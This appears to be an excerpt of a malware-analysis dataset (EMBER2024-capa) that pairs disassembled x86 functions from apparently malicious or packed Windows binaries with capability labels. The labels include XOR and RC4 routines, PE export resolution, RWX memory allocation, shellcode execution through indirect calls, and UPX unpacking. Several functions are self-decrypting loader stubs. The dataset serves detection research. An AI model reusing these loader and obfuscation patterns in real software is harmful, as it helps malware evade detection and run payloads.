joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43b635
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x43b3c1
add esi, 1
inc ebx
or esi, ebx
call fcn.0043b683
sub esi, esi
or ebx, esi
sub esi, 0xaf633073
xor dword [edi], eax
sub esp, 4
mov dword [esp], ebx
mov esi, dword [esp]
add esp, 4
inc edi
dec esi
or esi, ebx
cmp edi, ecx
jne fcn.0043b635
mov ebx, 0x45045649
add ebx, ebx
sub ebx, 0xed4c8811
ret

Function at 0x29a05134
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x29a05143
pop dword [ebp - 0x2c]
mov eax, 0xd6548b7a
add eax, 0x534bc5c9
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x3497762e
sub dword [ebp - 0x3c], 0xe64530e3
mov dword [ebp - 0x38], 0x33a2642b
sub dword [ebp - 0x38], 0x16f17e6
mov dword [ebp - 0x34], 0x45c55d31
add dword [ebp - 0x34], 0x686e6fd
mov dword [ebp - 0x30], 0x672e962f
add dword [ebp - 0x30], 0x98d169d1
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xb0a1119
add eax, 0x1e972f73
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x57e0aad2
sub dword [ebp - 0x3c], 0xe36e417c
mov dword [ebp - 0x38], 0x845191b5
add dword [ebp - 0x38], 0xbd1acfc0
mov dword [ebp - 0x34], 0x8711452b
sub dword [ebp - 0x34], 0x23a1d8bf
mov dword [ebp - 0x30], 0xaed37fae
sub dword [ebp - 0x30], 0xaed37fae
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x8b362059
add eax, 0x9e6b1feb
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3f814
push 0
call eax
mov ecx, 0x5cdd
xor edi, edi
add edi, eax
mov esi, 0x29a22000
add esi, dword [ebp - 0x2c]
mov ebx, 0x282df4fc
add ebx, 0xf8aa75f3
sub dword [ebp - 0x20], 0x82b51edf
mov edx, dword [esi]
xor dword [ebp - 0x20], 0x197f37b4
xor edx, ebx
sub dword [ebp - 0xc], ecx
mov dword [edi], edx
sub dword [ebp - 0x20], 0x81e9db2d
add edi, 0x52310c7a
add edi, 0xadcef38a
add esi, 0x6ff18c70
add esi, 0x900e7394
loop 0x29a0525b
add eax, 0x8c6fa72
sub eax, 0x8c5942b
mov ebx, eax
add eax, 0x23b4933
sub eax, 0x23b492e
mov ecx, 0x29a00000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1017f2a6
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10188618], 0
mov byte [0x1018861c], 0
mov dword [0x10188610], 0x33f9
mov dword [0x1018860c], 0x9a0
mov dword [0x10188614], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1017f2ff
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10188614]
add eax, 1
mov dword [0x10188614], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1017f2ff
xor eax, eax
mov dword [0x10188610], 0x1f91
mov dword [0x10188614], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10188620], 0
mov dword [0x1018860c], 0x2391
mov edx, dword [0x10188618]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10188620], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x10188618], edx
mov dword [0x1018860c], 0x1197
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1018861c], cl
mov dword [0x1018860c], 0xd5c
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x1018861c]
mov edx, dword [0x10188618]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x1018860c], 0xcb9
mov edx, dword [0x10188614]
add edx, 1
mov dword [0x10188614], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1017f33e
jmp 0x1017f2f7
Function at 0x1017f7ce
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [0x10188610], 0x1825
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1018860c], 0x262b
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1017f8ac
mov dword [0x1018860c], 0xb28
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1017f920
jmp 0x1017f947
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1017f811
jmp 0x1017f947
mov dword [0x1018860c], 0x166f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov dx, word [eax + ecx*2 - 0xe]
mov word [ebp - 0x16], dx
mov eax, 0x1438
mov ecx, 1
mov dx, word [ebp - 0x16]
cmp dx, 0x6c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
je 0x1017f956
jmp 0x1017f947
mov dword [0x1018860c], 0xffffe703
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov dx, word [eax + ecx*2 - 0x18]
mov word [ebp - 0x22], dx
mov ax, word [ebp - 0x22]
cmp ax, 0x6f
je 0x1017f901
jmp 0x1017f947
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
je 0x1017f8e3
mov dword [0x10188610], 0x2454
mov eax, dword [ebp - 0x28]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x2c], eax
jl 0x1017f8ac
mov eax, dword [ebp - 0x2c]
mov dword [0x1018860c], 0xca2
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
je 0x1017f884
jmp 0x1017f947
mov dword [0x1018860c], 0xffffde32
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1017f833
jmp 0x1017f947
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff8
mov dword [0x1018860c], 0x35
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2], 0x6c
je 0x1017f847
mov eax, 0x1f59
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jmp 0x1017f956
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [0x1018860c], ecx
add esp, 0x30
pop ebp
ret
Function at 0x1017fb14
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1017ee5a
xor ecx, ecx
mov edx, eax
mov dword [0x10188610], 0x11a4
mov esi, dword [eax + 0x3c]
mov dword [0x1018860c], 0x828
mov esi, dword [eax + esi + 0x78]
mov dword [0x10188610], 0x1376
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1018860c], 0x4d3
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1017fc68
jmp 0x1017fbb7
mov eax, dword [ebp - 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x32], cl
jne 0x1017fbe5
mov al, byte [ebp - 0x32]
test al, 1
jne 0x1017fc39
jmp 0x1017fc13
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edx
jmp 0x1017fb81
mov eax, dword [ebp - 0x30]
add eax, 1
mov cl, byte [ebp - 0x31]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x32]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x28], eax
jne 0x1017fb81
jmp 0x1017fbaa
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 2
mov edx, dword [ebp - 0x40]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x24], eax
jb 0x1017fbc9
jmp 0x1017fc68
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x10188610], 0x14e4
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x1018860c], 0x674
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1017fd33
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, dword [0x10188610]
mov dword [0x10188614], 0
mov dword [0x10188618], 0
mov dword [0x10188624], 0
mov dword [ebp - 0x10], eax
mov eax, ebx
add eax, 0xfffff40b
mov dword [0x1018860c], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, edi
mov dword [ebp - 0x1c], eax
mov eax, edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x1017fec7
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov edi, 0x100
add ecx, 1
mov dword [ebp - 0x38], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x10188614], edx
mov ecx, dword [ebp - 0x2c]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x3c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x40], edx
cdq
idiv edi
mov dword [0x10188618], edx
mov ecx, esi
add ecx, 0xffffff04
mov dword [0x10188610], ecx
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
mov cl, byte [ecx + edi]
mov byte [0x1018861c], cl
add esi, 0xffffe8d2
mov dword [0x1018860c], esi
mov esi, dword [ebp - 0x2c]
mov cl, byte [esi + edx]
mov byte [esi + edi], cl
mov cl, byte [0x1018861c]
mov edx, dword [0x10188618]
mov byte [esi + edx], cl
mov dword [0x1018860c], 0xfea
mov edx, dword [0x10188614]
movzx edx, byte [esi + edx]
mov ebx, dword [0x10188618]
movzx ebx, byte [esi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x10188624], ebx
mov cl, byte [esi + ebx]
mov edx, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x38]
mov ch, byte [edx + ebx]
mov dword [0x10188610], 0xd1
xor ch, cl
mov byte [0x10188628], ch
mov dword [0x1018860c], 0x538
mov edx, dword [ebp - 0x28]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x44], ebx
je 0x1017febf
mov eax, dword [0x10188614]
mov ecx, dword [0x10188618]
mov edx, dword [0x1018860c]
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], esi
jmp 0x1017fdad
mov eax, dword [0x10188610]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
add eax, 0xffffefe2
mov dword [0x1018860c], eax
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1017fedc
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x88
lea eax, [esp + 0x78]
lea ecx, [esp + 0x20]
mov dword [0x10188610], 0xa89
mov edx, dword [0x1018860c]
add edx, 0xbf9
mov dword [0x1018860c], edx
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1017f413
lea ecx, [0x1018011a]
mov edx, dword [esp + 0x78]
mov dword [esp + 0x3c], edx
mov dword [esp + 0x50], 0x12dc00
mov edx, dword [0x101885f8]
mov dword [esp + 0x34], edx
mov edx, dword [0x101885fc]
mov dword [esp + 0x58], edx
mov edx, dword [0x10188600]
mov dword [esp + 0x74], edx
mov edx, dword [0x10188604]
mov dword [esp + 0x38], edx
mov edx, dword [0x10188608]
mov dword [esp + 0x30], edx
mov dword [0x10188610], 0x2bd
mov dword [0x1018860c], 0xfffff059
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1017ff9f
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1017ffbd
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x10188610], 0xfde
mov dword [esp + 0x14], eax
jmp 0x1017ff7c
mov eax, dword [esp + 0x10]
mov dword [esp + 0x64], eax
mov dword [0x1018860c], 0x828
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x5c], edx
mov dword [0x10188610], 0x1419
call fcn.1017f7ce
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x10180042
lea eax, [esp + 0x20]
mov dword [0x1018860c], 0xa5a
mov ecx, dword [esp + 0x80]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1018018a
mov dword [0x1018860c], 0x1f96
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x10188610], 0x2262
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x1018018a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x10181045]
mov esi, 0xe
lea edi, [ebp - 0x2c]
mov ebx, dword [0x1018860c]
add ebx, 0xfffff1bd
mov dword [0x1018860c], ebx
mov dword [0x10188610], 0x1ac5
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], esi
call fcn.1018004a
call fcn.10180445
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.1017efc9
xor ecx, ecx
mov edx, dword [0x10188610]
add edx, 0xffffe3d9
mov dword [0x1018860c], edx
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
je 0x101802d0
mov eax, dword [ebp - 0x40]
mov dword [0x10188610], 0x1f5
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10188610]
add ecx, 0x121d
mov dword [0x1018860c], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
mov dword [esp + 4], ecx
mov dword [ebp - 0x48], eax
call fcn.1017f198
xor eax, eax
mov ecx, dword [ebp - 0x48]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x34]
mov dword [edx + 0x24], ecx
mov dword [0x1018860c], 0xb6b
mov ecx, dword [ebp - 0x48]
mov dword [edx + 0x4c], ecx
mov dword [0x10188610], 0x1691
cmp ecx, 0
mov dword [ebp - 0x44], eax
je 0x101802d0
mov eax, dword [ebp - 0x48]
add eax, 0x26d6
mov dword [0x1018860c], 0xffffedf9
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000be60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000be69
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1000c61e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10024140], 0
push esi
push edi
jne 0x1000c594
call fcn.1000c500
test eax, eax
je 0x1000c5d9
mov eax, dword [0x10024140]
cmp eax, 1
jne 0x1000c5b5
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000c5d9
jmp 0x1000c61b
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000c61b
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000c5dd
xor eax, eax
jmp 0x1000c61b
mov eax, dword [esi]
push dword [0x10024140]
call edi
mov edi, eax
test edi, edi
je 0x1000c5ff
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000c61b
lea edi, [esi + 0xff0]
push esi
push dword [0x10024140]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000c605
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000c580

Function at 0x1000cc2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022cac]
jne 0x1000cc34
repz ret
jmp fcn.10010608

Function at 0x1001a572
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001a581
pop dword [ebp - 0x14]
mov eax, 0xaa422ec8
add eax, 0x65bf76b9
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x40979
push 0
mov eax, 0xc794f2d9
add eax, 0x486cbed7
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x6292
xor edi, edi
add edi, eax
mov edx, 0x895659dd
sub edx, 0x7953a7dd
add edx, dword [ebp - 0x14]
mov esi, 0x32188839
xor dword [ebp - 4], 0xdb8dc04f
mov ebx, dword [edx]
mov dword [ebp - 8], 0xeba3d339
add ebx, esi
mov dword [ebp - 0x10], 0x5f4ae
mov dword [edi], ebx
add edi, 4
add edx, 0xc741ce92
add edx, 0x38be3172
loop 0x1001a5d6
add eax, 0x17d1b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x44eb90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x43000]
push edi
or ebp, 0xffffffff
jmp 0x44ebb2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x44ebb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44eba8
mov eax, 1
add ebx, ebx
jne 0x44ebcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x44ebdc
jne 0x44ebfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44ebfb
dec eax
add ebx, ebx
jne 0x44ebe8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x44ebc0
add ebx, ebx
jne 0x44ebf7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x44ec4d
xor ecx, ecx
sub eax, 3
jb 0x44ec13
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44ec82
sar eax, 1
mov ebp, eax
jmp 0x44ec1e
add ebx, ebx
jne 0x44ec1e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44ebec
inc ecx
add ebx, ebx
jne 0x44ec2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44ebec
add ebx, ebx
jne 0x44ec39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x44ec2e
jne 0x44ec4a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44ec2e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x44ec6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x44ec5e
jmp 0x44ebae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x44ec6c
add edi, ecx
jmp 0x44ebae
pop esi
mov edi, esi
mov ecx, 0x2d7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x44ec8a
cmp byte [edi], 3
jne 0x44ec8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x44ec8f
lea edi, [esi + 0x4c000]
mov eax, dword [edi]
or eax, eax
je 0x44ed07
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4f2b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4f2ec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x44ecbc
mov ecx, edi
jns 0x44eceb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4f2f0]
or eax, eax
je 0x44ed01
mov dword [ebx], eax
add ebx, 4
jmp 0x44ecd9
call dword [esi + 0x4f300]
mov ebp, dword [esi + 0x4f2f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x44ed3b
sub esp, 0xffffff80
jmp 0x403004
Function at 0x48d510
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x78000]
push edi
or ebp, 0xffffffff
jmp 0x48d532
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x48d539
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48d528
mov eax, 1
add ebx, ebx
jne 0x48d54b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x48d55c
jne 0x48d57b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48d57b
dec eax
add ebx, ebx
jne 0x48d568
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x48d540
add ebx, ebx
jne 0x48d577
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x48d5cd
xor ecx, ecx
sub eax, 3
jb 0x48d593
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x48d602
sar eax, 1
mov ebp, eax
jmp 0x48d59e
add ebx, ebx
jne 0x48d59e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48d56c
inc ecx
add ebx, ebx
jne 0x48d5ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48d56c
add ebx, ebx
jne 0x48d5b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48d5ae
jne 0x48d5ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48d5ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x48d5ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x48d5de
jmp 0x48d52e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x48d5ec
add edi, ecx
jmp 0x48d52e
pop esi
mov edi, esi
mov ecx, 0x200
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x48d60a
cmp byte [edi], 4
jne 0x48d60a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x48d60f
lea edi, [esi + 0x8b000]
mov eax, dword [edi]
or eax, eax
je 0x48d687
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d8e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8d91c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x48d63c
mov ecx, edi
jns 0x48d66b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8d920]
or eax, eax
je 0x48d681
mov dword [ebx], eax
add ebx, 4
jmp 0x48d659
call dword [esi + 0x8d928]
mov ebp, dword [esi + 0x8d924]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x48d6bb
sub esp, 0xffffff80
jmp 0x402920
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
